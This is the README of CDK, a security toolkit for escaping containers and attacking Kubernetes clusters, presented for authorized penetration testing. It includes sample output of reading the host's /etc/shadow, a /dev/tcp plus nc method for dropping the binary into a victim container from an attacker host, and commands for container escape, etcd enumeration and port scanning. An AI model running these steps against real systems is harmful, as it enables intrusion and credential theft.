English | 简体中文

Usage of CDK for attacking targets without prior mutual consent is illegal. CDK is for security testing purposes only.

CDK is an open-sourced container penetration toolkit, designed for offering stable exploitation in different slimmed containers without any OS dependency. It comes with useful net-tools and many powerful PoCs/EXPs and helps you to escape container and take over K8s cluster easily.

Run cdk eva to get evaluate info and a recommend exploit, then run cdk run to start the attack.

> ./cdk eva --full

[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.

> ./cdk run cap-dac-read-search

Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::

Download latest release in https://github.com/cdk-team/CDK/releases/

Drop executable files into the target container and start testing.

If you have an exploit that can upload a file, then you can upload CDK binary directly.

If you have a RCE exploit, but the target container has no curl or wget, you can use the following method to deliver CDK:

1. First, host CDK binary on your host with public IP.

(on your host)
nc -lvp 999 < cdk

2. Inside the victim container execute

cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weakness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/cdk-team/CDK/wiki

Auto Escape:
  cdk auto-escape <cmd>                     Escape container in different ways then let target execute <cmd>.

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl <path> (get|post) <uri> <data>      Make request to K8s api-server.
  ectl <endpoint> get <key>                 Unauthorized enumeration of ectd keys.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.

CDK has three modules:

1. Evaluate: gather information inside container to find potential weakness.
2. Exploit: for container escaping, persistance and lateral movement
3. Tool: network-tools and APIs for TCP/HTTP requests, tunnels and K8s cluster management.

Usage

cdk evaluate [--full]

This command will run the scripts below without local file scanning, using --full to enable all.

List all available exploits:

cdk run --list

Run targeted exploit:

cdk run <script-name> [options]

Note about Thin: The thin release is prepared for short life container shells such as serverless functions. We add build tags in source code and cut a few exploits to get the binary lighter. The 2MB file contains 90% of CDK functions, also you can pick up useful exploits in CDK source code to build your own lightweight binary.

Running commands like in Linux, little different in input-args, see the usage link.

cdk nc [options]
cdk ps

If you want to know how we released a new version, how thin is produced, why we provide upx versions, what the differences between different versions about all, normal, thin, upx are, and how to choose specific CDK exploits and tools to compile an own release for yourself, please check the Release Document.

• run test in container.

First off, thanks for taking the time to contribute!

Thanks for the following contributors:

More contributors：Contributors List

Bugs are tracked as GitHub Issues. Create an issue with the current CDK version, error msg and the environment. Describe the exact steps which reproduce the problem.

Enhancement suggestions are tracked as GitHub Discussions. You can publish any thoughts here to discuss with developers directly.

Fix problems or maintain CDK's quality:

• Describe the current CDK version, environment, problem and exact steps that reproduce the problem.
• Running screenshots or logs before and after you fix the problem.

New feature or exploits:

• Explain why this enhancement would be useful to other users.
• Please enable a sustainable environment for us to review contributions.
• Screenshots about how this new feature works.
• If you are committing a new evaluate/exploit scripts, please add a simple doc to your PR message, here is an example.

Project CDK is now included in 404Team Starlink Project 2.0. Join the StarLink community to get in touch with CDK dev-team.

• https://github.com/knownsec/404StarLink2.0-Galaxy#community

• https://www.blackhat.com/asia-21/arsenal/schedule/index.html#cdk-zero-dependency-container-penetration-toolkit-22422

• Briefing: "Attack Cloud Native Kubernetes"

• CDK: Also a Awesome BugBounty Tool for Cloud Platform

• http://kcon.knownsec.com/2021/#/arsenal

• https://community.cncf.io/events/details/cncf-kcd-china-presents-kubernetes-community-days-china/